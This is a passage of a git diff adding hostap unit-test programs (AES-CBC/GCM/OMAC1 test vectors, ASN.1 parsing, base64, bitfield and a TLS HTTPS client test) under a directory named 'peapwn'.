0x22, 0xda, 0x80, 0x2c, 0x9f, 0xac, 0x41 }, + "Single block msg", + { 0xe3, 0x53, 0x77, 0x9c, 0x10, 0x79, 0xae, 0xb8, + 0x27, 0x08, 0x94, 0x2d, 0xbe, 0x77, 0x18, 0x1a }, + 16 + }, + { + { 0xc2, 0x86, 0x69, 0x6d, 0x88, 0x7c, 0x9a, 0xa0, + 0x61, 0x1b, 0xbb, 0x3e, 0x20, 0x25, 0xa4, 0x5a }, + { 0x56, 0x2e, 0x17, 0x99, 0x6d, 0x09, 0x3d, 0x28, + 0xdd, 0xb3, 0xba, 0x69, 0x5a, 0x2e, 0x6f, 0x58 }, + { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, + 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, + 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, + 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f }, + { 0xd2, 0x96, 0xcd, 0x94, 0xc2, 0xcc, 0xcf, 0x8a, + 0x3a, 0x86, 0x30, 0x28, 0xb5, 0xe1, 0xdc, 0x0a, + 0x75, 0x86, 0x60, 0x2d, 0x25, 0x3c, 0xff, 0xf9, + 0x1b, 0x82, 0x66, 0xbe, 0xa6, 0xd6, 0x1a, 0xb1 }, + 32 + } + }; + int ret = 0; + u8 *buf; + unsigned int i; + + for (i = 0; i < ARRAY_SIZE(vectors); i++) { + struct cbc_test_vector *tv = &vectors[i]; + buf = malloc(tv->len); + if (buf == NULL) { + ret++; + break; + } + memcpy(buf, tv->plain, tv->len); + if (aes_128_cbc_encrypt(tv->key, tv->iv, buf, tv->len) || + memcmp(buf, tv->cipher, tv->len) != 0) { + printf("AES-CBC encrypt %d failed\n", i); + ret++; + } + memcpy(buf, tv->cipher, tv->len); + if (aes_128_cbc_decrypt(tv->key, tv->iv, buf, tv->len) || + memcmp(buf, tv->plain, tv->len) != 0) { + printf("AES-CBC decrypt %d failed\n", i); + ret++; + } + free(buf); + } + + return ret; +} + + +/* + * GCM test vectors from + * http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/gcm/gcm-spec.pdf + */ +struct gcm_test_vector { + char *k; + char *p; + char *aad; + char *iv; + char *c; + char *t; +}; + +static const struct gcm_test_vector gcm_tests[] = { + { + /* Test Case 1 */ + "00000000000000000000000000000000", + "", + "", + "000000000000000000000000", + "", + "58e2fccefa7e3061367f1d57a4e7455a" + }, + { + /* Test Case 2 */ + "00000000000000000000000000000000", + "00000000000000000000000000000000", + "", + "000000000000000000000000", + "0388dace60b6a392f328c2b971b2fe78", + "ab6e47d42cec13bdf53a67b21257bddf" + }, + { + /* Test Case 3 */ + "feffe9928665731c6d6a8f9467308308", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b391aafd255", + "", + "cafebabefacedbaddecaf888", + "42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091473f5985", + "4d5c2af327cd64a62cf35abd2ba6fab4" + }, + { + /* Test Case 4 */ + "feffe9928665731c6d6a8f9467308308", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "cafebabefacedbaddecaf888", + "42831ec2217774244b7221b784d0d49ce3aa212f2c02a4e035c17e2329aca12e21d514b25466931c7d8f6a5aac84aa051ba30b396a0aac973d58e091", + "5bc94fbc3221a5db94fae95ae7121a47" + }, + { + /* Test Case 5 */ + "feffe9928665731c6d6a8f9467308308", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "cafebabefacedbad", + "61353b4c2806934a777ff51fa22a4755699b2a714fcdc6f83766e5f97b6c742373806900e49f24b22b097544d4896b424989b5e1ebac0f07c23f4598", + "3612d2e79e3b0785561be14aaca2fccb" + }, + { + /* Test Case 6 */ + "feffe9928665731c6d6a8f9467308308", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "9313225df88406e555909c5aff5269aa6a7a9538534f7da1e4c303d2a318a728c3c0c95156809539fcf0e2429a6b525416aedbf5a0de6a57a637b39b", + "8ce24998625615b603a033aca13fb894be9112a5c3a211a8ba262a3cca7e2ca701e4a9a4fba43c90ccdcb281d48c7c6fd62875d2aca417034c34aee5", + "619cc5aefffe0bfa462af43c1699d050" + }, + { + /* Test Case 7 */ + "000000000000000000000000000000000000000000000000", + "", + "", + "000000000000000000000000", + "", + "cd33b28ac773f74ba00ed1f312572435" + }, + { + /* Test Case 8 */ + "000000000000000000000000000000000000000000000000", + "00000000000000000000000000000000", + "", + "000000000000000000000000", + "98e7247c07f0fe411c267e4384b0f600", + "2ff58d80033927ab8ef4d4587514f0fb" + }, + { + /* Test Case 9 */ + "feffe9928665731c6d6a8f9467308308feffe9928665731c", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b391aafd255", + "", + "cafebabefacedbaddecaf888", + "3980ca0b3c00e841eb06fac4872a2757859e1ceaa6efd984628593b40ca1e19c7d773d00c144c525ac619d18c84a3f4718e2448b2fe324d9ccda2710acade256", + "9924a7c8587336bfb118024db8674a14" + }, + { + /* Test Case 10 */ + "feffe9928665731c6d6a8f9467308308feffe9928665731c", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "cafebabefacedbaddecaf888", + "3980ca0b3c00e841eb06fac4872a2757859e1ceaa6efd984628593b40ca1e19c7d773d00c144c525ac619d18c84a3f4718e2448b2fe324d9ccda2710", + "2519498e80f1478f37ba55bd6d27618c" + }, + { + /* Test Case 11 */ + "feffe9928665731c6d6a8f9467308308feffe9928665731c", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "cafebabefacedbad", + "0f10f599ae14a154ed24b36e25324db8c566632ef2bbb34f8347280fc4507057fddc29df9a471f75c66541d4d4dad1c9e93a19a58e8b473fa0f062f7", + "65dcc57fcf623a24094fcca40d3533f8" + }, + { + /* Test Case 12 */ + "feffe9928665731c6d6a8f9467308308feffe9928665731c", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "9313225df88406e555909c5aff5269aa6a7a9538534f7da1e4c303d2a318a728c3c0c95156809539fcf0e2429a6b525416aedbf5a0de6a57a637b39b", + "d27e88681ce3243c4830165a8fdcf9ff1de9a1d8e6b447ef6ef7b79828666e4581e79012af34ddd9e2f037589b292db3e67c036745fa22e7e9b7373b", + "dcf566ff291c25bbb8568fc3d376a6d9" + }, + { + /* Test Case 13 */ + "0000000000000000000000000000000000000000000000000000000000000000", + "", + "", + "000000000000000000000000", + "", + "530f8afbc74536b9a963b4f1c4cb738b" + }, + { + /* Test Case 14 */ + "0000000000000000000000000000000000000000000000000000000000000000", + "00000000000000000000000000000000", + "", + "000000000000000000000000", + "cea7403d4d606b6e074ec5d3baf39d18", + "d0d1c8a799996bf0265b98b5d48ab919" + }, + { + /* Test Case 15 */ + "feffe9928665731c6d6a8f9467308308feffe9928665731c6d6a8f9467308308", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b391aafd255", + "", + "cafebabefacedbaddecaf888", + "522dc1f099567d07f47f37a32a84427d643a8cdcbfe5c0c97598a2bd2555d1aa8cb08e48590dbb3da7b08b1056828838c5f61e6393ba7a0abcc9f662898015ad", + "b094dac5d93471bdec1a502270e3cc6c" + }, + { + /* Test Case 16 */ + "feffe9928665731c6d6a8f9467308308feffe9928665731c6d6a8f9467308308", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "cafebabefacedbaddecaf888", + "522dc1f099567d07f47f37a32a84427d643a8cdcbfe5c0c97598a2bd2555d1aa8cb08e48590dbb3da7b08b1056828838c5f61e6393ba7a0abcc9f662", + "76fc6ece0f4e1768cddf8853bb2d551b" + }, + { + /* Test Case 17 */ + "feffe9928665731c6d6a8f9467308308feffe9928665731c6d6a8f9467308308", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "cafebabefacedbad", + "c3762df1ca787d32ae47c13bf19844cbaf1ae14d0b976afac52ff7d79bba9de0feb582d33934a4f0954cc2363bc73f7862ac430e64abe499f47c9b1f", + "3a337dbf46a792c45e454913fe2ea8f2" + }, + { + /* Test Case 18 */ + "feffe9928665731c6d6a8f9467308308feffe9928665731c6d6a8f9467308308", + "d9313225f88406e5a55909c5aff5269a86a7a9531534f7da2e4c303d8a318a721c3c0c95956809532fcf0e2449a6b525b16aedf5aa0de657ba637b39", + "feedfacedeadbeeffeedfacedeadbeefabaddad2", + "9313225df88406e555909c5aff5269aa6a7a9538534f7da1e4c303d2a318a728c3c0c95156809539fcf0e2429a6b525416aedbf5a0de6a57a637b39b", + "5a8def2f0c9e53f1f75d7853659e2a20eeb2b22aafde6419a058ab4f6f746bf40fc0c3b780f244452da3ebf1c5d82cdea2418997200ef82e44ae7e3f", + "a44a8266ee1c8eb0c8b5d4cf5ae9f19a" + } +}; + + +static int test_gcm(void) +{ + int ret = 0; + int i; + u8 k[32], aad[32], iv[64], t[16], tag[16]; + u8 p[64], c[64], tmp[64]; + size_t k_len, p_len, aad_len, iv_len; + + for (i = 0; i < ARRAY_SIZE(gcm_tests); i++) { + const struct gcm_test_vector *tc = &gcm_tests[i]; + + k_len = os_strlen(tc->k) / 2; + if (hexstr2bin(tc->k, k, k_len)) { + printf("Invalid GCM test vector %d (k)\n", i); + ret++; + continue; + } + + p_len = os_strlen(tc->p) / 2; + if (hexstr2bin(tc->p, p, p_len)) { + printf("Invalid GCM test vector %d (p)\n", i); + ret++; + continue; + } + + aad_len = os_strlen(tc->aad) / 2; + if (hexstr2bin(tc->aad, aad, aad_len)) { + printf("Invalid GCM test vector %d (aad)\n", i); + ret++; + continue; + } + + iv_len = os_strlen(tc->iv) / 2; + if (hexstr2bin(tc->iv, iv, iv_len)) { + printf("Invalid GCM test vector %d (iv)\n", i); + ret++; + continue; + } + + if (hexstr2bin(tc->c, c, p_len)) { + printf("Invalid GCM test vector %d (c)\n", i); + ret++; + continue; + } + + if (hexstr2bin(tc->t, t, sizeof(t))) { + printf("Invalid GCM test vector %d (t)\n", i); + ret++; + continue; + } + + if (aes_gcm_ae(k, k_len, iv, iv_len, p, p_len, aad, aad_len, + tmp, tag) < 0) { + printf("GCM-AE failed (test case %d)\n", i); + ret++; + continue; + } + + if (os_memcmp(c, tmp, p_len) != 0) { + printf("GCM-AE mismatch (test case %d)\n", i); + ret++; + } + + if (os_memcmp(tag, t, sizeof(tag)) != 0) { + printf("GCM-AE tag mismatch (test case %d)\n", i); + ret++; + } + + if (p_len == 0) { + if (aes_gmac(k, k_len, iv, iv_len, aad, aad_len, tag) < + 0) { + printf("GMAC failed (test case %d)\n", i); + ret++; + continue; + } + + if (os_memcmp(tag, t, sizeof(tag)) != 0) { + printf("GMAC tag mismatch (test case %d)\n", i); + ret++; + } + } + + if (aes_gcm_ad(k, k_len, iv, iv_len, c, p_len, aad, aad_len, + t, tmp) < 0) { + printf("GCM-AD failed (test case %d)\n", i); + ret++; + continue; + } + + if (os_memcmp(p, tmp, p_len) != 0) { + printf("GCM-AD mismatch (test case %d)\n", i); + ret++; + } + } + + return ret; +} + + +/* OMAC1 AES-128 test vectors from + * http://csrc.nist.gov/CryptoToolkit/modes/proposedmodes/omac/omac-ad.pdf + * which are same as the examples from NIST SP800-38B + * http://csrc.nist.gov/CryptoToolkit/modes/800-38_Series_Publications/SP800-38B.pdf + */ + +struct omac1_test_vector { + u8 k[16]; + u8 msg[64]; + int msg_len; + u8 tag[16]; +}; + +static struct omac1_test_vector test_vectors[] = +{ + { + { 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, + 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c }, + { }, + 0, + { 0xbb, 0x1d, 0x69, 0x29, 0xe9, 0x59, 0x37, 0x28, + 0x7f, 0xa3, 0x7d, 0x12, 0x9b, 0x75, 0x67, 0x46 } + }, + { + { 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, + 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c }, + { 0x6b, 0xc1, 0xbe, 0xe2, 0x2e, 0x40, 0x9f, 0x96, + 0xe9, 0x3d, 0x7e, 0x11, 0x73, 0x93, 0x17, 0x2a}, + 16, + { 0x07, 0x0a, 0x16, 0xb4, 0x6b, 0x4d, 0x41, 0x44, + 0xf7, 0x9b, 0xdd, 0x9d, 0xd0, 0x4a, 0x28, 0x7c } + }, + { + { 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, + 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c }, + { 0x6b, 0xc1, 0xbe, 0xe2, 0x2e, 0x40, 0x9f, 0x96, + 0xe9, 0x3d, 0x7e, 0x11, 0x73, 0x93, 0x17, 0x2a, + 0xae, 0x2d, 0x8a, 0x57, 0x1e, 0x03, 0xac, 0x9c, + 0x9e, 0xb7, 0x6f, 0xac, 0x45, 0xaf, 0x8e, 0x51, + 0x30, 0xc8, 0x1c, 0x46, 0xa3, 0x5c, 0xe4, 0x11 }, + 40, + { 0xdf, 0xa6, 0x67, 0x47, 0xde, 0x9a, 0xe6, 0x30, + 0x30, 0xca, 0x32, 0x61, 0x14, 0x97, 0xc8, 0x27 } + }, + { + { 0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6, + 0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c }, + { 0x6b, 0xc1, 0xbe, 0xe2, 0x2e, 0x40, 0x9f, 0x96, + 0xe9, 0x3d, 0x7e, 0x11, 0x73, 0x93, 0x17, 0x2a, + 0xae, 0x2d, 0x8a, 0x57, 0x1e, 0x03, 0xac, 0x9c, + 0x9e, 0xb7, 0x6f, 0xac, 0x45, 0xaf, 0x8e, 0x51, + 0x30, 0xc8, 0x1c, 0x46, 0xa3, 0x5c, 0xe4, 0x11, + 0xe5, 0xfb, 0xc1, 0x19, 0x1a, 0x0a, 0x52, 0xef, + 0xf6, 0x9f, 0x24, 0x45, 0xdf, 0x4f, 0x9b, 0x17, + 0xad, 0x2b, 0x41, 0x7b, 0xe6, 0x6c, 0x37, 0x10 }, + 64, + { 0x51, 0xf0, 0xbe, 0xbf, 0x7e, 0x3b, 0x9d, 0x92, + 0xfc, 0x49, 0x74, 0x17, 0x79, 0x36, 0x3c, 0xfe } + }, +}; + + +int main(int argc, char *argv[]) +{ + u8 kek[] = { + 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, + 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f + }; + u8 plain[] = { + 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, + 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff + }; + u8 crypt[] = { + 0x1F, 0xA6, 0x8B, 0x0A, 0x81, 0x12, 0xB4, 0x47, + 0xAE, 0xF3, 0x4B, 0xD8, 0xFB, 0x5A, 0x7B, 0x82, + 0x9D, 0x3E, 0x86, 0x23, 0x71, 0xD2, 0xCF, 0xE5 + }; + u8 result[24]; + int ret = 0; + unsigned int i; + struct omac1_test_vector *tv; + + if (aes_wrap(kek, 2, plain, result)) { + printf("AES-WRAP-128-128 reported failure\n"); + ret++; + } + if (memcmp(result, crypt, 24) != 0) { + printf("AES-WRAP-128-128 failed\n"); + ret++; + } + if (aes_unwrap(kek, 2, crypt, result)) { + printf("AES-UNWRAP-128-128 reported failure\n"); + ret++; + } + if (memcmp(result, plain, 16) != 0) { + printf("AES-UNWRAP-128-128 failed\n"); + ret++; + for (i = 0; i < 16; i++) + printf(" %02x", result[i]); + printf("\n"); + } + + test_aes_perf(); + + for (i = 0; i < ARRAY_SIZE(test_vectors); i++) { + tv = &test_vectors[i]; + if (omac1_aes_128(tv->k, tv->msg, tv->msg_len, result) || + memcmp(result, tv->tag, 16) != 0) { + printf("OMAC1-AES-128 test vector %d failed\n", i); + ret++; + } + + if (tv->msg_len > 1) { + const u8 *addr[2]; + size_t len[2]; + + addr[0] = tv->msg; + len[0] = 1; + addr[1] = tv->msg + 1; + len[1] = tv->msg_len - 1; + + if (omac1_aes_128_vector(tv->k, 2, addr, len, + result) || + memcmp(result, tv->tag, 16) != 0) { + printf("OMAC1-AES-128(vector) test vector %d " + "failed\n", i); + ret++; + } + } + } + + ret += test_eax(); + + ret += test_cbc(); + + ret += test_gcm(); + + if (ret) + printf("FAILED!\n"); + + return ret; +} diff --git a/peapwn/mods/hostap/tests/test-asn1.c b/peapwn/mods/hostap/tests/test-asn1.c new file mode 100644 index 000000000..7b6f7be23 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-asn1.c @@ -0,0 +1,197 @@ +/* + * Testing tool for ASN.1 routines + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "tls/asn1.h" + +extern int wpa_debug_level; + + +static const char * asn1_class_str(int class) +{ + switch (class) { + case ASN1_CLASS_UNIVERSAL: + return "Universal"; + case ASN1_CLASS_APPLICATION: + return "Application"; + case ASN1_CLASS_CONTEXT_SPECIFIC: + return "Context-specific"; + case ASN1_CLASS_PRIVATE: + return "Private"; + default: + return "?"; + } +} + + +int asn1_parse(const u8 *buf, size_t len, int level) +{ + const u8 *pos, *prev, *end; + char prefix[10], str[100]; + int _level; + struct asn1_hdr hdr; + struct asn1_oid oid; + u8 tmp; + + _level = level; + if ((size_t) _level > sizeof(prefix) - 1) + _level = sizeof(prefix) - 1; + memset(prefix, ' ', _level); + prefix[_level] = '\0'; + + pos = buf; + end = buf + len; + + while (pos < end) { + if (asn1_get_next(pos, end - pos, &hdr) < 0) + return -1; + + prev = pos; + pos = hdr.payload; + + wpa_printf(MSG_MSGDUMP, "ASN.1:%s Class %d(%s) P/C %d(%s) " + "Tag %u Length %u", + prefix, hdr.class, asn1_class_str(hdr.class), + hdr.constructed, + hdr.constructed ? "Constructed" : "Primitive", + hdr.tag, hdr.length); + + if (hdr.class == ASN1_CLASS_CONTEXT_SPECIFIC && + hdr.constructed) { + if (asn1_parse(pos, hdr.length, level + 1) < 0) + return -1; + pos += hdr.length; + } + + if (hdr.class != ASN1_CLASS_UNIVERSAL) + continue; + + switch (hdr.tag) { + case ASN1_TAG_EOC: + if (hdr.length) { + wpa_printf(MSG_DEBUG, "ASN.1: Non-zero " + "end-of-contents length (%u)", + hdr.length); + return -1; + } + wpa_printf(MSG_MSGDUMP, "ASN.1:%s EOC", prefix); + break; + case ASN1_TAG_BOOLEAN: + if (hdr.length != 1) { + wpa_printf(MSG_DEBUG, "ASN.1: Unexpected " + "Boolean length (%u)", hdr.length); + return -1; + } + tmp = *pos++; + wpa_printf(MSG_MSGDUMP, "ASN.1:%s Boolean %s", + prefix, tmp ? "TRUE" : "FALSE"); + break; + case ASN1_TAG_INTEGER: + wpa_hexdump(MSG_MSGDUMP, "ASN.1: INTEGER", + pos, hdr.length); + pos += hdr.length; + break; + case ASN1_TAG_BITSTRING: + wpa_hexdump(MSG_MSGDUMP, "ASN.1: BitString", + pos, hdr.length); + pos += hdr.length; + break; + case ASN1_TAG_OCTETSTRING: + wpa_hexdump(MSG_MSGDUMP, "ASN.1: OctetString", + pos, hdr.length); + pos += hdr.length; + break; + case ASN1_TAG_NULL: + if (hdr.length) { + wpa_printf(MSG_DEBUG, "ASN.1: Non-zero Null " + "length (%u)", hdr.length); + return -1; + } + wpa_printf(MSG_MSGDUMP, "ASN.1:%s Null", prefix); + break; + case ASN1_TAG_OID: + if (asn1_get_oid(prev, end - prev, &oid, &prev) < 0) { + wpa_printf(MSG_DEBUG, "ASN.1: Invalid OID"); + return -1; + } + asn1_oid_to_str(&oid, str, sizeof(str)); + wpa_printf(MSG_DEBUG, "ASN.1:%s OID %s", prefix, str); + pos += hdr.length; + break; + case ANS1_TAG_RELATIVE_OID: + wpa_hexdump(MSG_MSGDUMP, "ASN.1: Relative OID", + pos, hdr.length); + pos += hdr.length; + break; + case ASN1_TAG_SEQUENCE: + wpa_printf(MSG_MSGDUMP, "ASN.1:%s SEQUENCE", prefix); + if (asn1_parse(pos, hdr.length, level + 1) < 0) + return -1; + pos += hdr.length; + break; + case ASN1_TAG_SET: + wpa_printf(MSG_MSGDUMP, "ASN.1:%s SET", prefix); + if (asn1_parse(pos, hdr.length, level + 1) < 0) + return -1; + pos += hdr.length; + break; + case ASN1_TAG_PRINTABLESTRING: + wpa_hexdump_ascii(MSG_MSGDUMP, + "ASN.1: PrintableString", + pos, hdr.length); + pos += hdr.length; + break; + case ASN1_TAG_IA5STRING: + wpa_hexdump_ascii(MSG_MSGDUMP, "ASN.1: IA5String", + pos, hdr.length); + pos += hdr.length; + break; + case ASN1_TAG_UTCTIME: + wpa_hexdump_ascii(MSG_MSGDUMP, "ASN.1: UTCTIME", + pos, hdr.length); + pos += hdr.length; + break; + case ASN1_TAG_VISIBLESTRING: + wpa_hexdump_ascii(MSG_MSGDUMP, "ASN.1: VisibleString", + pos, hdr.length); + pos += hdr.length; + break; + default: + wpa_printf(MSG_DEBUG, "ASN.1: Unknown tag %d", + hdr.tag); + return -1; + } + } + + return 0; +} + + +int main(int argc, char *argv[]) +{ + FILE *f; + u8 buf[3000]; + size_t len; + + wpa_debug_level = 0; + + f = fopen(argv[1], "rb"); + if (f == NULL) + return -1; + len = fread(buf, 1, sizeof(buf), f); + fclose(f); + + if (asn1_parse(buf, len, 0) < 0) + printf("Failed to parse DER ASN.1\n"); + + printf("\n\n"); + + return 0; +} diff --git a/peapwn/mods/hostap/tests/test-base64.c b/peapwn/mods/hostap/tests/test-base64.c new file mode 100644 index 000000000..980febf9e --- /dev/null +++ b/peapwn/mods/hostap/tests/test-base64.c @@ -0,0 +1,42 @@ +/* + * Base64 encoding/decoding (RFC1341) - test program + * Copyright (c) 2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" +#include "utils/os.h" +#include "utils/base64.h" + +int main(int argc, char *argv[]) +{ + FILE *f; + size_t len, elen; + unsigned char *buf, *e; + + if (argc != 4) { + printf("Usage: base64 \n"); + return -1; + } + + buf = (unsigned char *) os_readfile(argv[2], &len); + if (buf == NULL) + return -1; + + if (strcmp(argv[1], "encode") == 0) + e = base64_encode(buf, len, &elen); + else + e = base64_decode(buf, len, &elen); + if (e == NULL) + return -2; + f = fopen(argv[3], "w"); + if (f == NULL) + return -3; + fwrite(e, 1, elen, f); + fclose(f); + free(e); + + return 0; +} diff --git a/peapwn/mods/hostap/tests/test-bitfield.c b/peapwn/mods/hostap/tests/test-bitfield.c new file mode 100644 index 000000000..aff1790c0 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-bitfield.c @@ -0,0 +1,90 @@ +/* + * bitfield unit tests + * Copyright (c) 2013, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" +#include "utils/bitfield.h" + +int main(int argc, char *argv[]) +{ + struct bitfield *bf; + int i; + int errors = 0; + + bf = bitfield_alloc(123); + if (bf == NULL) + return -1; + + for (i = 0; i < 123; i++) { + if (bitfield_is_set(bf, i) || bitfield_is_set(bf, i + 1)) + errors++; + if (i > 0 && bitfield_is_set(bf, i - 1)) + errors++; + bitfield_set(bf, i); + if (!bitfield_is_set(bf, i)) + errors++; + bitfield_clear(bf, i); + if (bitfield_is_set(bf, i)) + errors++; + } + + for (i = 123; i < 200; i++) { + if (bitfield_is_set(bf, i) || bitfield_is_set(bf, i + 1)) + errors++; + if (i > 0 && bitfield_is_set(bf, i - 1)) + errors++; + bitfield_set(bf, i); + if (bitfield_is_set(bf, i)) + errors++; + bitfield_clear(bf, i); + if (bitfield_is_set(bf, i)) + errors++; + } + + for (i = 0; i < 123; i++) { + if (bitfield_is_set(bf, i) || bitfield_is_set(bf, i + 1)) + errors++; + bitfield_set(bf, i); + if (!bitfield_is_set(bf, i)) + errors++; + } + + for (i = 0; i < 123; i++) { + if (!bitfield_is_set(bf, i)) + errors++; + bitfield_clear(bf, i); + if (bitfield_is_set(bf, i)) + errors++; + } + + for (i = 0; i < 123; i++) { + if (bitfield_get_first_zero(bf) != i) + errors++; + bitfield_set(bf, i); + } + if (bitfield_get_first_zero(bf) != -1) + errors++; + for (i = 0; i < 123; i++) { + if (!bitfield_is_set(bf, i)) + errors++; + bitfield_clear(bf, i); + if (bitfield_get_first_zero(bf) != i) + errors++; + bitfield_set(bf, i); + } + if (bitfield_get_first_zero(bf) != -1) + errors++; + + bitfield_free(bf); + + if (errors) { + printf("%d test(s) failed\n", errors); + return -1; + } + + return 0; +} diff --git a/peapwn/mods/hostap/tests/test-https.c b/peapwn/mods/hostap/tests/test-https.c new file mode 100644 index 000000000..2f41500c9 --- /dev/null +++ b/peapwn/mods/hostap/tests/test-https.c @@ -0,0 +1,228 @@ +/* + * Testing tool for TLSv1 client routines using HTTPS + * Copyright (c) 2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "crypto/tls.h" + +extern int wpa_debug_level; +extern int wpa_debug_show_keys; + + +static void https_tls_event_cb(void *ctx, enum tls_event ev, + union tls_event_data *data) +{ + wpa_printf(MSG_DEBUG, "HTTPS: TLS event %d", ev); +} + + +static struct wpabuf * https_recv(int s) +{ + struct wpabuf *in; + int len, ret; + fd_set rfds; + struct timeval tv; + + in = wpabuf_alloc(20000); + if (in == NULL) + return NULL; + + FD_ZERO(&rfds); + FD_SET(s, &rfds); + tv.tv_sec = 5; + tv.tv_usec = 0; + + wpa_printf(MSG_DEBUG, "Waiting for more data"); + ret = select(s + 1, &rfds, NULL, NULL, &tv); + if (ret < 0) { + wpa_printf(MSG_ERROR, "select: %s", strerror(errno)); + wpabuf_free(in); + return NULL; + } + if (ret == 0) { + /* timeout */ + wpa_printf(MSG_INFO, "Timeout on waiting for data"); + wpabuf_free(in); + return NULL; + } + + len = recv(s, wpabuf_put(in, 0), wpabuf_tailroom(in), 0); + if (len < 0) { + wpa_printf(MSG_ERROR, "recv: %s", strerror(errno)); + wpabuf_free(in); + return NULL; + } + if (len == 0) { + wpa_printf(MSG_DEBUG, "No more data available"); + wpabuf_free(in); + return NULL; + } + wpa_printf(MSG_DEBUG, "Received %d bytes", len); + wpabuf_put(in, len); + + return in; +} + + +static int https_client(int s, const char *path) +{ + struct tls_config conf; + void *tls; + struct tls_connection *conn; + struct wpabuf *in, *out, *appl; + int res = -1; + int need_more_data; + + os_memset(&conf, 0, sizeof(conf)); + conf.event_cb = https_tls_event_cb; + tls = tls_init(&conf); + if (tls == NULL) + return -1; + + conn = tls_connection_init(tls); + if (conn == NULL) { + tls_deinit(tls); + return -1; + } + + in = NULL; + + for (;;) { + appl = NULL; + out = tls_connection_handshake2(tls, conn, in, &appl, + &need_more_data); + wpabuf_free(in); + in = NULL; + if (out == NULL) { + if (need_more_data) + goto read_more; + goto done; + } + if (tls_connection_get_failed(tls, conn)) { + wpa_printf(MSG_ERROR, "TLS handshake failed"); + goto done; + } + if (tls_connection_established(tls, conn)) + break; + wpa_printf(MSG_DEBUG, "Sending %d bytes", + (int) wpabuf_len(out)); + if (send(s, wpabuf_head(out), wpabuf_len(out), 0) < 0) { + wpa_printf(MSG_ERROR, "send: %s", strerror(errno)); + goto done; + } + wpabuf_free(out); + out = NULL; + + read_more: + in = https_recv(s); + if (in == NULL) + goto done; + } + wpabuf_free(out); + out = NULL; + + wpa_printf(MSG_INFO, "TLS connection established"); + if (appl) + wpa_hexdump_buf(MSG_DEBUG, "Received application data", appl); + + in = wpabuf_alloc(100 + os_strlen(path)); + if (in == NULL) + goto done; + wpabuf_put_str(in, "GET "); + wpabuf_put_str(in, path); + wpabuf_put_str(in, " HTTP/1.0\r\n\r\n"); + out = tls_connection_encrypt(tls, conn, in); + wpabuf_free(in); + in = NULL; + if (out == NULL) + goto done; + + wpa_printf(MSG_INFO, "Sending HTTP request: %d bytes", + (int) wpabuf_len(out)); + if (send(s, wpabuf_head(out), wpabuf_len(out), 0) < 0) { + 